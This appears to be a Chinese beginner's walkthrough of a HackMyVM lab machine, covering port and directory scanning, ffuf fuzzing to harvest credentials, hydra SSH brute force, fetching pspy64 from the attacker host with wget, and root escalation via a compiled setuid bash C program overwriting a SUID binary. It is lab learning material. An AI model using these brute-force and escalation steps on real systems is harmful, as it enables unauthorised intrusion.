目录
总结:
简介:HackMyVm是一个集合了大量靶机的平台,通过下载压缩包后导入Vm虚拟机来使用,推荐使用VirtualBox来导入加载漏洞虚拟机。类似于Vulnhub、HackTheBox,但是相比于Vulnhub而言,其文件所占空间要小的多,而且从靶机中取得的flag可以直接通过HackMyVm提交。
靶机链接:HackMyVM
靶机难度:简单
1.信息收集
使用命令:arp-scan -l 进行主机发现 靶机ip:192.168.29.151
使用 nmap -sV -A -sS -p- -T4 192.168.29.151 进行端口、服务扫描,开启了22、80端口
2.目录扫描
老样子先访问80端口,进行目录扫描 dirsearch -u http://192.168.29.151/
访问得到以下界面还以为是摩斯密码但是无果,使用curl进行进行查 最下面有个目录名
访问/shehatseme 得到提示 大概意思要使用Seclist这个字典来进行爆破账号和密码
3.Seclist字典
项目地址:https://github.com/danielmiessler/SecLists
SecLists是安全测试人员的伴侣。它是在安全评估期间使用的多种类型列表的集合,这些列表集中在一个地方。列表类型包括用户名,密码,URL,敏感数据模式,模糊有效载荷,Web Shell等。目的是使安全测试人员可以将此存储库拉到新的测试箱中,并可以访问可能需要的每种类型的列表。
使用wget命令直接下载就可以了,然后这里使用ffuf工具来进行爆破
命令:ffuf -c -ic -r -u http://192.168.29.151/shehatesme/FUZZ.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -od yhm
-c:高亮显示
-ic:忽略字典的注释信息
-r:跟踪重定向
-u:指定url -od:输出位置
可以看到已经保存到我们刚刚的文件夹下了,里面也有账号和密码
现在我们需要把账号和密码提取出来,来做一个ssh爆破
命令: tail -q -n 1 * | sort | uniq | tee yhm.txt
-q: 不输出文件名
-n:显示文件最后一行
1:必要参数 *:所有文件
sort:进行排序
uniq:去重
命令:sed -i "s/\//:/g" yhm.txt
语法:sed [-hnV][-e<script>][-f<script文件>][文本文件]
4.hydra爆破
现在我们可以对ssh进行爆破了,使用hydra工具 命令:hydra -C jg.txt -e ns 192.168.29.151 ssh
得到ssh用户名和账户直接登录 在当前目录下得到第一个flag
在/home/suidy目录下有个可执行文件 ./suidyyyy执行得到suidy权限 查看note.txt得到提示
意思大概有个脚本正在运行,使用ps -aux无果 这里使用pspy64工具来进行检查当前运行的脚本
项目地址:GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions
本地使用python3开启http服务 让靶机进行下载
python3 -m http.server 80
wget 192.168.29.130/pspy64
chmod 777 pspy64
./pspy64
5.提权
这里可以看到有个root目录下的文件,但是我们没有写的权限,这里的思路大概我们在theuser下有写权限,可以写一个脚本复制给suidyyyyy文件进行运行重而跌倒root权限
写一个.c文件 代码意思就是 用户和组 ID 设置为 0(root)来提升权限,然后使用系统函数生成交互式 bash 会话
#include <stdio.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
gcc yx.c -o suidyyyy 编译.c文件
cp suidyyyy /home/suidy/suidyyyyy 复制给suidy下的可执行文件
然后切换到suidy下运行我们刚刚cp的文件
成功提权到root在root目录下得到最后一个flag
总结:
1. Seclist一个非常全面的字典
2. hydre工具的使用爆破
3. tail和sed命令的使用
4. suid覆盖进行提权
后言:刚入门网安的一只小白,想把自学的学习的过程记录下来方便自己,帮助他人。可以私信博主欢迎学习交流!!!